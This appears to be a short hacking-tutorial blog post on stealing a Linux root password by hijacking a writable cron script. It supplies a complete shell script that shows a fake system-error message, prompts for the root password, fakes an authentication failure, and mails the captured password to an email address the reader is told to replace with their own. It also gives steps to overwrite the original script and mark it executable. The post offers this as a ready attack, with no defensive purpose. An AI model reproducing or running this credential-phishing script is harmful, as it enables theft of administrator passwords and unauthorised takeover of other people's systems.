Creditto Sky Walker
You can do it with Cron Tab Scripts !!
Cron Jobs are some Tasks that are set to be Executed at a specific time.
If the Root user has created a Custom Script used by Cron, and we can
Write on this File, we can send a “Fake” Error Message and the Root user
will probably type in his password.
First, check out if there are any Cron Job Tasks:
Code:
crontab -l
here you can see it has 755 permission
Make a Copy of the Original Script !!
Okey now replace the code of original file with this :-
Code:
#!/bin/sh
echo “An System Error Occured!”
echo “”
echo “Error Code: #131425″
echo “”
echo “Update to get the Latest Patch for this Security Issue.”
read -s -p “[sudo] password for root ” rootpasswd
echo “”
echo “su: Authentication failure”
echo “”
sudo apt-get update && sudo apt-get upgrade
sudo echo “The Password is: $rootpasswd” > .kod
mail -s “Root’s Password” “email@address.com” < .kod
rm .kod
mv backup.sh backup
You should just Replace the mail id with your E-Mail and the Name of the Script!
After you save the File, type: chmod +x cronscript to set it as Executable!
This script will:
- Send a Fake Error Message
- Request for the Root’s Password
- Send to your E-Mail Address the Password (make sure that there is the “mail” command at the /bin)
When the Script gets Executed, the Root User will Enter his Password and it will be send to you!
Post a Comment